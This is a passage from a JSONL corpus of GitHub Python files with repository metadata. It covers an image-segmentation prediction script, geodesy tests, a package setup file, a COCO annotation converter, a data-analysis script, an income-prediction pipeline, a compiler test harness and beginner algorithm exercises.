True\n","repo_name":"stfc/PSyclone","sub_path":"src/psyclone/tests/lfric_build_test.py","file_name":"lfric_build_test.py","file_ext":"py","file_size_in_byte":4441,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"35"}
{"seq_id":"19664089071","text":"import os\n\nfrom model import *\nfrom data import test_generator\nfrom utils import create_directory, get_subfiles\nfrom show_annotated_images import save_images_and_masks, save_result\n\nfrom dotenv import load_dotenv\nload_dotenv()\n\n\n# TEST\ndef get_predictions():\n    create_directory(os.getenv('PREDICTION_IMAGES_PATH'))\n\n    test_filenames = get_subfiles(os.getenv('PNG_IMAGES_PATH'))\n\n    weight_file_path = os.getenv('MODELPATH')\n\n    model = unet(pretrained_weights=weight_file_path)\n\n    testgen = test_generator(os.getenv('PNG_IMAGES_PATH'))\n\n    test_batch_size = len(test_filenames)\n\n    print('\\nStarting testing ...\\n')\n    print('Using model - {}\\n'.format(weight_file_path))\n    results = model.predict_generator(testgen, test_batch_size, verbose=1)\n    print('DONE !')\n\n    # save predictions - images and masks\n    print('\\nSaving test results - masks')\n    save_result(os.getenv('PREDICTION_IMAGES_PATH'), results, test_filenames, flag_multi_class=False, num_class=2)\n    print('DONE !')\n\n    if os.getenv('SAVE_COMBINED') == 'TRUE':\n        create_directory(os.getenv('COMBINED_IMAGES_PATH'))\n        imagesdir = os.getenv('PNG_IMAGES_PATH')\n        masksdir = os.getenv('PREDICTION_IMAGES_PATH')\n        suffix = '_predict'\n\n        print('\\nSaving test results - images and masks combined')\n        save_images_and_masks(imagesdir, masksdir, suffix, save=True)\n        print('DONE !')\n","repo_name":"dkdocs/digital-grid","sub_path":"hvtowerdetection/test/get_predictions.py","file_name":"get_predictions.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8904632452","text":"\n# -*- coding: utf-8 -*-\n\n# Test spherical earth model functions and methods.\n\n__all__ = ('Tests',)\n__version__ = '17.08.10'\n\nfrom testLatLon import Tests as _TestsLL\nfrom testVectorial import Tests as _TestsV\n\nfrom pygeodesy import F_D, F_DMS, lonDMS\n\n\nclass Tests(_TestsLL, _TestsV):\n\n    def testSpherical(self, module):\n\n        self.subtitle(module, 'Spherical')\n\n        LatLon = module.LatLon\n\n        p = LatLon(51.8853, 0.2545)\n        self.test('isSpherical', p.isSpherical, True)\n        self.test('isEllipsoidal', p.isEllipsoidal, False)\n\n        q = LatLon(49.0034, 2.5735)\n        self.test('isSpherical', q.isSpherical, True)\n        self.test('isEllipsoidal', q.isEllipsoidal, False)\n\n        i = p.intersection(108.55, q, 32.44)\n        self.test('intersection', i.toStr(F_D),  '50.907608°N, 004.508575°E')  # 50.9076°N, 004.5086°E  # Trig\n        self.test('intersection', i.toStr(F_DMS), '50°54′27.39″N, 004°30′30.87″E')\n        self.test('intersection', isinstance(i, LatLon), True)\n\n        REO = LatLon(42.600, -117.866)\n        BKE = LatLon(44.840, -117.806)\n        i = REO.intersection(51, BKE, 137)\n        self.test('intersection', i.toStr(F_D), '43.5719°N, 116.188757°W')  # 43.572°N, 116.189°W\n        self.test('intersection', i.toStr(F_DMS), '43°34′18.84″N, 116°11′19.53″W')\n        self.test('intersection', isinstance(i, LatLon), True)\n\n        p = LatLon(0, 0)\n        self.test('maxLat0',  p.maxLat( 0), '90.0')\n        self.test('maxLat1',  p.maxLat( 1), '89.0')\n        self.test('maxLat90', p.maxLat(90),  '0.0')\n\n        if hasattr(LatLon, 'crossingParallels'):\n            ps = p.crossingParallels(LatLon(60, 30), 30)\n            t = ', '.join(map(lonDMS, ps))\n            self.test('crossingParallels', t, '009°35′38.65″E, 170°24′21.35″E')\n\n        if hasattr(LatLon, 'isEnclosedBy'):\n            p = LatLon(45.1, 1.1)\n\n            b = LatLon(45, 1), LatLon(45, 2), LatLon(46, 2), LatLon(46, 1)\n            for _ in self.testiter():\n                self.test('isEnclosedBy', p.isEnclosedBy(b), True)\n\n            b = LatLon(45, 1), LatLon(45, 3), LatLon(46, 2), LatLon(47, 3), LatLon(47, 1)\n            for _ in self.testiter():\n                try:\n                    self.test('isEnclosedBy', p.isEnclosedBy(b), True)  # Nvector\n                except ValueError as x:\n                    t = ' '.join(str(x).split()[:3] + ['...)'])\n                    self.test('isEnclosedBy', t, 'non-convex: (LatLon(45°00′00.0″N, 001°00′00.0″E), ...)')  # Trig\n\n        p = LatLon(51.127, 1.338)\n        q = LatLon(50.964, 1.853)\n        b = p.rhumbBearingTo(q)\n        self.test('rhumbBearingTo', b, 116.722, fmt='%.3f')  # 116.7\n\n        d = p.rhumbDestination(40300, 116.7)\n        self.test('rhumbDestination', d, '50.964155°N, 001.853°E')  # 50.9642°N, 001.8530°E\n        self.test('rhumbDestination', isinstance(d, LatLon), True)\n\n        d = p.rhumbDistanceTo(q)\n        self.test('rhumbDistanceTo', d, 40307.8, fmt='%.1f')  # XXX 40310 ?\n\n        m = p.rhumbMidpointTo(q)\n        self.test('rhumbMidpointo', m, '51.0455°N, 001.595727°E')\n        self.test('rhumbMidpointo', isinstance(m, LatLon), True)\n\n        b = LatLon(45, 1), LatLon(45, 2), LatLon(46, 2), LatLon(46, 1)\n        self.test('areaOf', module.areaOf(b), '8.6660587507e+09', fmt='%.10e')  # 8666058750.718977\n\n        c = LatLon(0, 0), LatLon(1, 0), LatLon(0, 1)\n        self.test('areaOf', module.areaOf(c), '6.18e+09', fmt='%.2e')\n\n        if hasattr(module, 'isPoleEnclosedBy'):\n            b = LatLon(85, 90), LatLon(85, 0), LatLon(85, -90), LatLon(85, -180)\n            for _ in self.testiter():\n                self.test('isPoleEnclosedBy', module.isPoleEnclosedBy(b), 'True')\n            b = LatLon(85, 90), LatLon(85, 0), LatLon(85, -180)\n            for _ in self.testiter():\n                self.test('isPoleEnclosedBy', module.isPoleEnclosedBy(b), 'True', known=True)\n\n\nif __name__ == '__main__':\n\n    from pygeodesy import sphericalNvector as N, \\\n                          sphericalTrigonometry as T\n\n    t = Tests(__file__, __version__)\n\n    t.testLatLon(N, Sph=True)\n    t.testSpherical(N)\n    t.testVectorial(N)\n\n    t.testLatLon(T, Sph=True)\n    t.testSpherical(T)\n\n    t.results()\n    t.exit()\n","repo_name":"monschine/PyGeodesy","sub_path":"test/testSpherical.py","file_name":"testSpherical.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"36940097498","text":"import setuptools\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n    long_description = fh.read()\n\nsetuptools.setup(\n    name=\"darcyai\",\n    author=\"darcy.ai\",\n    author_email=\"info@darcy.ai\",\n    description=\"DarcyAI Library\",\n    keywords=\"darcy, darcyai\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/darcyai/darcyai\",\n    project_urls={\n        \"Documentation\": \"https://darcyai.github.io/darcyai/\",\n        \"Bug Reports\":\n        \"https://github.com/darcyai/darcyai/issues\",\n        \"Source Code\": \"https://github.com/darcyai/darcyai\"\n    },\n    include_package_data=True,\n    package_data={\n        \"darcyai\": [\n            \"src/darcyai/swagger/*\",\n            \"src/darcyai/perceptor/coral/models/*\",\n            \"src/darcyai/perceptor/cpu/models/*\",\n            \"src/darcyai/perceptor/posenet_lib/*\",\n            \"src/darcyai/input/bars.png\",\n        ]\n    },\n    exclude_package_data={\n        \"darcyai\": [\n            \"src/examples/*\"\n        ]\n    },\n    package_dir={\"\": \"src\"},\n    packages=setuptools.find_packages(where=\"src\"),\n    classifiers=[\n        \"Development Status :: 2 - Pre-Alpha\",\n        \"Intended Audience :: Developers\"\n    ],\n    python_requires=\">=3.6.9\",\n    install_requires=[\n        \"pillow==9.0.1\",\n        \"imutils==0.5.4\",\n        \"pytest==6.2.5\",\n        \"flask==2.0.2\",\n        \"requests==2.26.0\",\n        \"logging-json==0.2.1\",\n        \"waitress==2.1.2\",\n    ]\n)\n","repo_name":"darcyai/darcyai","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"35"}
{"seq_id":"36589165600","text":"import numpy as np\nimport json\nimport pandas as pd\n\ndef create_json(path, save_json_path):\n\n    bad_files = [\n    \"test_132.jpg\",\n    \"test_1346.jpg\",\n    \"test_184.jpg\",\n    \"test_1929.jpg\",\n    \"test_2028.jpg\",\n    \"test_22.jpg\",\n    \"test_232.jpg\",\n    \"test_2321.jpg\",\n    \"test_2613.jpg\",\n    \"test_2643.jpg\",\n    \"test_274.jpg\",\n    \"test_2878.jpg\",\n    \"test_521.jpg\",\n    \"test_853.jpg\",\n    \"test_910.jpg\",\n    \"test_923.jpg\",\n    \"train_1239.jpg\",\n    \"train_2376.jpg\",\n    \"train_2903.jpg\",\n    \"train_2986.jpg\",\n    \"train_305.jpg\",\n    \"train_3240.jpg\",\n    \"train_340.jpg\",\n    \"train_3556.jpg\",\n    \"train_3560.jpg\",\n    \"train_38.jpg\",\n    \"train_3832.jpg\",\n    \"train_4222.jpg\",\n    \"train_5007.jpg\",\n    \"train_5137.jpg\",\n    \"train_5143.jpg\",\n    \"train_5762.jpg\",\n    \"train_5822.jpg\",\n    \"train_6052.jpg\",\n    \"train_6090.jpg\",\n    \"train_6138.jpg\",\n    \"train_6409.jpg\",\n    \"train_6722.jpg\",\n    \"train_6788.jpg\",\n    \"train_737.jpg\",\n    \"train_7576.jpg\",\n    \"train_7622.jpg\",\n    \"train_775.jpg\",\n    \"train_7883.jpg\",\n    \"train_789.jpg\",\n    \"train_8020.jpg\",\n    \"train_8146.jpg\",\n    \"train_882.jpg\",\n    \"train_903.jpg\",\n    \"train_924.jpg\",\n    \"val_147.jpg\",\n    \"val_286.jpg\",\n    \"val_296.jpg\",\n    \"val_386.jpg\"\n    ]\n\n    data = pd.read_csv(path, usecols=[0,1,2,3,4,5,6,7], names=['filename','xmin','ymin','xmax','ymax','class','width','height'], header=None)\n\n    for n in bad_files: \n        data = data.drop(data[data['filename'] == n].index)\n\n    images = []\n    categories = []\n    annotations = []\n\n    category = {}\n    category[\"supercategory\"] = 'none'\n    category[\"id\"] = 1\n    category[\"name\"] = 'None'\n    categories.append(category)\n\n    data['fileid'] = data['filename'].astype('category').cat.codes\n    data['categoryid']= pd.Categorical(data['class'],ordered= True).codes\n    data['categoryid'] = data['categoryid']+1\n    data['annid'] = data.index\n\n    def image(row):\n        image = {}\n        image[\"height\"] = row.height\n        image[\"width\"] = row.width\n        image[\"id\"] = row.fileid\n        image[\"file_name\"] = row.filename\n        return image\n\n    def category(row):\n        category = {}\n        category[\"supercategory\"] = 'None'\n        category[\"id\"] = row.categoryid\n        category[\"name\"] = row[2]\n        return category\n\n    def annotation(row):\n        annotation = {}\n        area = 100\n        #area = (row.xmax -row.xmin)*(row.ymax - row.ymin)\n        annotation[\"segmentation\"] = []\n        annotation[\"iscrowd\"] = 0\n        annotation[\"area\"] = area\n        annotation[\"image_id\"] = row.fileid\n\n        annotation[\"bbox\"] = [row.xmin, row.ymin, row.xmax -row.xmin,row.ymax-row.ymin ]\n\n        annotation[\"category_id\"] = row.categoryid\n        annotation[\"id\"] = row.annid\n        return annotation\n\n    for row in data.itertuples():\n        annotations.append(annotation(row))\n\n    imagedf = data.drop_duplicates(subset=['fileid']).sort_values(by='fileid')\n    for row in imagedf.itertuples():\n        images.append(image(row))\n\n    catdf = data.drop_duplicates(subset=['categoryid']).sort_values(by='categoryid')\n    for row in catdf.itertuples():\n        categories.append(category(row))\n\n    data_coco = {}\n    data_coco[\"images\"] = images\n    data_coco[\"categories\"] = categories\n    data_coco[\"annotations\"] = annotations\n    json.dump(data_coco, open(save_json_path, \"w\"), indent=4)\n","repo_name":"HabanaAI/Gaudi-solutions","sub_path":"retail/csv_json.py","file_name":"csv_json.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"1939961547","text":"from unicodedata import normalize\n\nfrom tool import valid_file, replace_words, invert_dict\nfrom tool.argument import Argument\n\n_argument = Argument(\"file\", type=valid_file, meta=\"<file>\")\n\n\ndef create_subparser(subparsers):\n    command = \"normalize\"\n    parser = subparsers.add_parser(command, help=\"Normalize string in xml file.\")\n    _argument.add_argument(parser)\n    return command, _normal\n\n\ndef _normal(args):\n    if args is None:\n        file_path = _argument.ask_input()\n    else:\n        file_path = args.file\n    with open(file_path, mode=\"r+\", encoding=\"utf-8\") as file:\n        content = normal(file.read())\n        file.seek(0)\n        file.write(content)\n        file.truncate()\n\n\ndef normal(source: str) -> str:\n    content = replace_words(source, _before)\n    content = normalize(\"NFKC\", content)\n    return replace_words(content, _after)\n\n\n_before = {\n    \"～\": \"$wave%\",\n    \"＆\": \"&amp;\"\n}\n\n_after = {\n    **invert_dict(_before),\n    \"...\": \"…\",\n    \"．．．\": \"…\",\n    \"・・・\": \"…\"\n}\n","repo_name":"joshuaavalon/AvalonXmlTools","sub_path":"tool/normalize.py","file_name":"normalize.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"10928566843","text":"\"\"\"Lauches the acorn ui server and opens the browser to the correct page.\n\"\"\"\nimport webbrowser\nimport os\nfrom multiprocessing import Process\nimport time\n\ndef open_window():\n    \"\"\"Opens a new tab for the acorn notebook to be displayed in.\n    \"\"\"\n    time.sleep(1)\n    webbrowser.open('http://127.0.0.1:8000/',new=2,autoraise=True)\n    \ndef launch_server():\n    \"\"\"Launches the django server at 127.0.0.1:8000\n    \"\"\"\n    print(os.path.dirname(os.path.abspath(__file__)))\n    cur_dir = os.getcwd()\n    path = os.path.dirname(os.path.abspath(__file__))\n    run = True\n    os.chdir(path)\n    os.system('python manage.py runserver --nostatic')\n    os.chdir(cur_dir)\n\nif __name__ == '__main__':\n    Process(target=launch_server).start()    \n    Process(target=open_window).start()\n","repo_name":"rosenbrockc/acorn","sub_path":"server/launch.py","file_name":"launch.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12897321471","text":"import pandas\nimport matplotlib.pyplot as plt;\nimport seaborn as sns;\n\n# load dataset\ncolumns = ['day', 'hour', 'op', 'ftype', 'parent', 'fileSize',\n           'p1', 'p2', 'p3', 'p4', 'filename',\n           's1', 's2', 's3', 's4']\ndataframe = pandas.read_csv(\"/home/anuradha/PycharmProjects/data/fyp/final/test-after-filtered.csv\", header=None, names=columns)\n\nprint (dataframe.info())\nprint (dataframe.describe())\n# print (dataframe.sample(5))\n# print (dataframe.drop_duplicates().fileSize.value_counts())\n# print (dataframe.drop_duplicates().filename.value_counts())\nprint (dataframe.drop_duplicates().s1.value_counts())\n# print (dataframe.drop_duplicates().parent.value_counts())\n\n\n# dataframe['op'].value_counts().plot(kind='bar', title='Training examples by operation types');\n# dataframe['ftype'].value_counts().plot(kind='bar', title='Training examples by file types');\n# dataframe['parent'].value_counts().plot(kind='bar', title='Training examples by parent folder');\n# dataframe['hour'].value_counts().plot(kind='bar', title='Training examples by hour');\n# dataframe['fileSize'].value_counts().plot(kind='bar', title='Training examples by file size');\n\n# plt.show()\n\ncorr = dataframe.corr()\nsns.heatmap(corr,\n            xticklabels=corr.columns.values,\n            yticklabels=corr.columns.values)\nsns.plt.title(\"correlations among variables\")\nsns.plt.show()\n\n#day of week, hour, operation type, file size have very weak correlations\n\n#parent folder, file type has moderate correlation","repo_name":"anuradhacse/MachineLearningRepo","sub_path":"statistics_fyp_data.py","file_name":"statistics_fyp_data.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"11185523798","text":"import logging\nimport sys,os\nimport pandas as pd\nfrom income.exception import CustomException\nfrom income.utils import load_object\nfrom income.predictor import ModelResolver\nimport sklearn\n\nPREDICTION_DIR = \"prediction\"\n\nclass PredictPipeline:\n    def __init__(self):\n        pass\n\n    def predict(self, features):\n        try:\n            os.makedirs(PREDICTION_DIR, exist_ok=True)\n            logging.info(f\"Creating model resolver object\")\n            model_resolver = ModelResolver(model_registry=\"saved_models\")\n            logging.info(f\"Reading file :{features}\")\n\n            logging.info(f\"Loading transformer to transform dataset\")\n            transformer = load_object(file_path=model_resolver.get_latest_transformer_path())\n            model = load_object(file_path=model_resolver.get_latest_model_path())\n\n            input_arr = transformer.transform(features)\n\n            prediction = model.predict(input_arr)\n\n            return prediction\n\n\n        except Exception as e:\n            raise CustomException(e, sys)\n\n\nclass CustomData:\n    def __init__(self,\n                 age: float,\n                 workclass: str,\n                 education_num:int,\n                 marital_status: str,\n                 occupation: str,\n                 relationship: str,\n                 race: str,\n                 sex:str,\n                 capital_gain:int,\n                 capital_loss:int,\n                 hours_per_week:int,\n                 country:str):\n\n\n        self.age = age\n\n        self.workclass = workclass\n\n        self.education_num = education_num\n\n        self.marital_status = marital_status\n\n        self.occupation = occupation\n\n        self.relationship = relationship\n\n        self.race = race\n\n        self.sex = sex\n\n        self.capital_gain = capital_gain\n\n        self.capital_loss = capital_loss\n\n        self.hours_per_week = hours_per_week\n\n        self.country = country\n\n\n    def get_data_as_data_frame(self):\n        try:\n            custom_data_input_dict = {\n                \"age\": [self.age],\n                \"workclass\": [self.workclass],\n                \"education-num\": [self.education_num],\n                \"marital-status\": [self.marital_status],\n                \"occupation\": [self.occupation],\n                \"relationship\": [self.relationship],\n                \"race\": [self.race],\n                \"sex\": [self.sex],\n                \"capital-gain\": [self.capital_gain],\n                \"capital-loss\": [self.capital_loss],\n                \"hours-per-week\": [self.hours_per_week],\n                \"country\": [self.country],\n\n            }\n\n            df = pd.DataFrame(custom_data_input_dict)\n            # Remove leading and trailing spaces from all columns\n            df = df.applymap(lambda x: x.strip() if isinstance(x, str) else x)\n            return df\n\n        except Exception as e:\n            raise CustomException(e, sys)","repo_name":"Ayush866/Income_predection","sub_path":"income/pipeline/prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"45083733566","text":"# https://classroom.udacity.com/nanodegrees/nd256/parts/f74fc064-524b-4ee8-8fb1-570b3c31a993/modules/9bbb9a6d-d848-4153-a2fc-25065ee8d42d/lessons/2bdc11fe-1acf-4363-8cac-d2a9c1d714a1/concepts/d5d4db5f-e7fc-4005-96b1-cb8b1c770fdc\n# http://www.onlineconversion.com/leapyear.htm\n\n\ndef is_leap_year(year):\n    leap = False\n    if year % 4 == 0:\n        if year % 100 == 0:\n            leap = ((year % 400) == 0)\n        else:\n            leap = True\n    return leap\n\n\ndef day_in_month(year, month):\n    assert 1 <= month <= 12\n    days = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n    if month == 2 and is_leap_year(year):\n        return days[month - 1] + 1\n    return days[month - 1]\n\n\ndef next_day(year, month, day):\n    assert 1 <= month <= 12\n    assert 1 <= day <= 31\n    if day < day_in_month(year, month):\n        return year, month, day + 1\n    else:\n        if month == 12:\n            return year + 1, 1, 1\n        else:\n            return year, month + 1, 1\n\n\ndef is_date_before(year_before, month_before, day_before, year_after, month_after, day_after):\n    if year_before > year_after:\n        return False\n    if year_before == year_after:\n        if month_before > month_after:\n            return False\n        if month_before == month_after:\n            return day_before < day_after\n    return True\n\n\ndef days_between_dates(year1, month1, day1, year2, month2, day2):\n    \"\"\"Returns the number of days between year1/month1/day1\n       and year2/month2/day2. Assumes inputs are valid dates\n       in Gregorian calendar, and the first date is not after\n       the second.\"\"\"\n    days = 0\n    # date1 = (year1,month1,day1)\n    assert not is_date_before(year2, month2, day2, year1, month1, day1)\n    while is_date_before(year1, month1, day1, year2, month2, day2):\n        year1, month1, day1 = next_day(year1, month1, day1)\n        days += 1\n    # YOUR CODE HERE!\n    return days\n\n\ndef test_days_between_dates():\n    test_cases = [((2012, 1, 1, 2012, 2, 28), 58),\n                  ((2012, 1, 1, 2012, 3, 1), 60),\n                  ((2011, 6, 30, 2012, 6, 30), 366),\n                  ((2011, 1, 1, 2012, 8, 8), 585),\n                  ((1900, 1, 1, 1999, 12, 31), 36523),\n                  ((2013, 1, 1, 1999, 12, 31), \"AssertionError\")]\n\n    for (args, answer) in test_cases:\n        try:\n            result = days_between_dates(*args)\n            if result == answer and answer != \"AssertionError\":\n                print(\"Test case passed!\")\n            else:\n                print(\"**********************Test with input data:\", args, \"failed\")\n\n        except AssertionError:\n            if answer == \"AssertionError\":\n                print(\"Nice job! Test case {0} correctly raises AssertionError!\\n\".format(args))\n            else:\n                print(\"Check your work! Test case {0} should not raise AssertionError!\\n\".format(args))\n\n\ntest_days_between_dates()\n\n# Nice job! Test case next_day(2012, 1, 1) is correct!\n# Nice job! Test case next_day(2012, 4, 30) is correct!\n# Nice job! Test case next_day(2012, 12, 1) is correct!\n# Nice job! Test case next_day(1999, 12, 31) is correct!\n# Nice job! Test case next_day(2012, 12, 31) is correct!\n# Nice job! Test case days_between_dates(2012, 9, 30, 2012, 10, 30) is correct!\n# Nice job! Test case days_between_dates(2012, 5, 15, 2012, 5, 17) is correct!\n# Nice job! Test case days_between_dates(2012, 1, 1, 2013, 1, 1) is correct!\n\n# Nice job! Test case next_day(2012, 1, 1) is correct!\n# Nice job! Test case next_day(2012, 4, 30) is correct!\n# Nice job! Test case next_day(2012, 12, 1) is correct!\n# Nice job! Test case next_day(1999, 12, 31) is correct!\n# Nice job! Test case next_day(2012, 12, 31) is correct!\n# Nice job! Test case days_between_dates(2012, 9, 30, 2012, 10, 30) is correct!\n# Nice job! Test case days_between_dates(2012, 2, 1, 2012, 3, 1) is correct!\n# Nice job! Test case days_between_dates(2013, 1, 1, 1999, 12, 31) correctly raises AssertionError!\n# Nice job! Test case days_between_dates(1991, 3, 1, 1991, 1, 3) correctly raises AssertionError!\n# Nice job! Test case days_between_dates(2012, 1, 1, 2012, 2, 28) is correct!\n# Nice job! Test case days_between_dates(2012, 1, 1, 2012, 3, 1) is correct!\n# Nice job! Test case days_between_dates(2011, 6, 30, 2012, 6, 30) is correct!\n# Nice job! Test case days_between_dates(2011, 1, 1, 2012, 8, 8) is correct!\n# Nice job! Test case days_between_dates(1900, 1, 1, 1999, 12, 31) is correct!\n\n# print days_between_dates(2013, 1, 24, 2013, 6, 29)\n# print days_between_dates(1912, 12, 12, 2012, 12, 12)\n# print days_between_dates(2013, 1, 1, 2012, 12, 20) # returns 0 - but it doesn't make sense so program defensevely\n\n# print not is_date_before(2012, 9, 1, 2012, 9, 1)\n\n# BEI-C_G_-AF-DHJK\n# BEI\n#\n","repo_name":"andreskwan/HR-Python-Learning","sub_path":"Udacity/1 - Introduction/Problem Solving/U-ProblemSolving-daysBetweenDates.py","file_name":"U-ProblemSolving-daysBetweenDates.py","file_ext":"py","file_size_in_byte":4734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35439836168","text":"import subprocess\nfrom pathlib import Path\n\nimport pytest\nfrom click.testing import CliRunner\n\nfrom simplec import cli\n\n\ndef fixture_path(path):\n    return str(Path(__file__).parent / path)\n\n\n@pytest.mark.parametrize(\n    \"src,returncode\",\n    [\n        (\"fixtures/one.c\", 1),\n        (\"fixtures/add.c\", 8),\n        (\"fixtures/call.c\", 45),\n    ],\n)\ndef test_compiler(tmpdir, src, returncode):\n    runner = CliRunner()\n    result = runner.invoke(cli.compiler, [fixture_path(src)])\n    assert result.exit_code == 0\n\n    asm_path = tmpdir / f\"{Path(src).stem}.s\"\n    exe_path = tmpdir / Path(src).stem\n    with open(asm_path, \"w\") as fp:\n        fp.write(result.output)\n\n    assert (\n        subprocess.run(\n            [\"arm-linux-gnueabihf-gcc\", str(asm_path), \"-o\", str(exe_path)]\n        ).returncode\n        == 0\n    )\n    result = subprocess.run(\n        [\"qemu-arm-static\", \"-L\", \"/usr/arm-linux-gnueabihf/\", str(exe_path)],\n        capture_output=True,\n    )\n    assert result.returncode == returncode\n","repo_name":"aita/simplec","sub_path":"tests/test_simplec.py","file_name":"test_simplec.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41240657078","text":"# 班上有 N 名学生。其中有些人是朋友，有些则不是。他们的友谊具有是传递性。如果已知 A 是 B 的朋友，B 是 C 的朋友，那么我们可以认为 A 也是 C 的朋友。所谓的朋友圈，是指所有朋友的集合。\n#\n# 给定一个 N * N 的矩阵 M，表示班级中学生之间的朋友关系。如果M[i][j] = 1，表示已知第 i 个和 j 个学生互为朋友关系，否则为不知道。你必须输出所有学生中的已知的朋友圈总数。\n#\n# 示例 1:\n#\n# 输入:\n# [[1,1,0],\n#  [1,1,0],\n#  [0,0,1]]\n# 输出: 2\n# 说明：已知学生0和学生1互为朋友，他们在一个朋友圈。\n# 第2个学生自己在一个朋友圈。所以返回2。\n# 示例 2:\n#\n# 输入:\n# [[1,1,0],\n#  [1,1,1],\n#  [0,1,1]]\n# 输出: 1\n# 说明：已知学生0和学生1互为朋友，学生1和学生2互为朋友，所以学生0和学生2也是朋友，所以他们三个在一个朋友圈，返回1。\n\n\n# 他这个是矩阵，是行列，横竖看：\n# [[1,1,0],代表0和自己要“连着”，和1连着。\n#  [1,1,0],代表1和自己要“连着”，和0连着。\n#  [0,0,1]],代表2和自己要“连着”\n\n\n\n#最直觉的方式是DFS，和岛屿一样\n#可以直接套岛屿，一样的数据结构\n#与岛屿的不同之处在于，可以旋转，因为这个数组传递的是关系。可以旋转的是x，y不行。\n# 也不对，不是岛屿问题，第一个点可以直接和第三个点相连，数组上看，没有相邻。所以本质上不是一个靠相邻就能解决的问题。\nclass Solution:\n    def DFS(self,M,visited,i):\n        visited[i] = 1\n        for j in range(len(M[0])):\n            if M[i][j] and not visited[j]:\n                self.DFS(M,visited,j)\n\n    def findCircleNum(self, M):\n        \"\"\"\n        :type M: List[List[int]]\n        :rtype: int\n        \"\"\"\n        cnt = 0\n        visited = [0  for i in range(len(M))]\n        # print(visited)\n        for i in range(len(M)):\n            if M[i] and not visited[i]:\n                # print('cnt++')\n                cnt += 1\n                self.DFS(M,visited,i)\n                # print(visited)\n\n        return cnt\n\n\nnums = \\\n    [[1,1,0],\n [1,1,0],\n [0,0,1]]\nnums = \\\n[[1,0,0,1],\n [0,1,1,0],\n [0,1,1,1],\n [1,0,1,1]]\nsol = Solution()\nprint('ret:',sol.findCircleNum(nums))\n\n\n# #并查集的本质就是重定向，本来都是独立的个体，通过无数个重定向，集中到一起。\n# 但是这个操作有没有顺序影响？A指向B，B指向C，A还能指向C吗？\n#\n# 另外，这是数组实现，按理说可以dict或者set来实现。\n\nclass DisjointSet(object):\n    def __init__(self,n):\n        self.id = [i for i in range(n)]\n        print(self.id)\n    def find(self,p):\n        return self.id[p]\n\n    def union(self,p,q):\n        pid = self.find(p)\n        qid = self.find(q)\n        if pid == qid:\n            return;\n        for i in range(len(self.id)):#这里，不止一个，以前A指向B，现在A和B的值都是pid，所以A和B都指向qid。\n            if self.id[i] == pid:\n                self.id[i] = qid\n        print('id is ',self.id)\n\n#上边这是基本结构，但是要做这道题，要用变形才会快，因为你不能费力合并半天，还要费时间去两两比较。给加一个counter，合并了就减少counter,其实仍然不够快\n#这样，把原题拿来构建并查集，最后的count就是结果\nclass DisjointSet(object):\n    def __init__(self,n):\n        self.id = [i for i in range(n)]\n        self.size = [1 for i in range(n)]\n        self.count = n\n\n    def find(self,p):\n        while p != self.id[p]:\n            self.id[p] = self.id[self.id[p]]#其实路径压缩根本不用管位置，路径压缩确实就是跳一步，但是因为“终点”是自己指向自己，你跳也不怕跳出问题\n            p = self.id[p]\n        return p\n\n    def union(self,p,q):\n        i = self.find(p)\n        j = self.find(q)\n        if i == j:\n            return;\n        if self.size[i] < self.size[j]:#保持平衡，i小，则i指向j\n            self.id[i] = j\n            self.size[j] += self.size[i]\n        else:\n            self.id[j] = i\n            self.size[i] += self.size[j]\n        self.count-=1\n\nclass Solution:\n    def DFS(self,M,visited,i):\n        visited[i] = 1\n        for j in range(len(M[0])):\n            if M[i][j] and not visited[j]:\n                self.DFS(M,visited,j)\n\n    def findCircleNum(self, M):\n        d_set = DisjointSet(len(M))\n        for i in range(len(M)):\n            for j in range(i+1,len(M[0])):#小优化，这是双向关系，所以j不用遍历n，从i+1开始\n                if M[i][j]:\n                    d_set.union(i,j)\n\n        return d_set.count\n\n\n\nd = DisjointSet(7)\nd.union(0,5)\nprint(d.id)\n# print(d.find(0))\nprint(d.id)\nprint(d.size)\nd.union(2,4)\nprint(d.id)\nprint(d.size)\nd.union(0,4)\nprint(d.id)\nprint(d.size)\n\nsol = Solution()\nprint('ret:',sol.findCircleNum(nums))\n\n\n\n","repo_name":"huqinwei/leetcode","sub_path":"findCircleNum_547.py","file_name":"findCircleNum_547.py","file_ext":"py","file_size_in_byte":4939,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
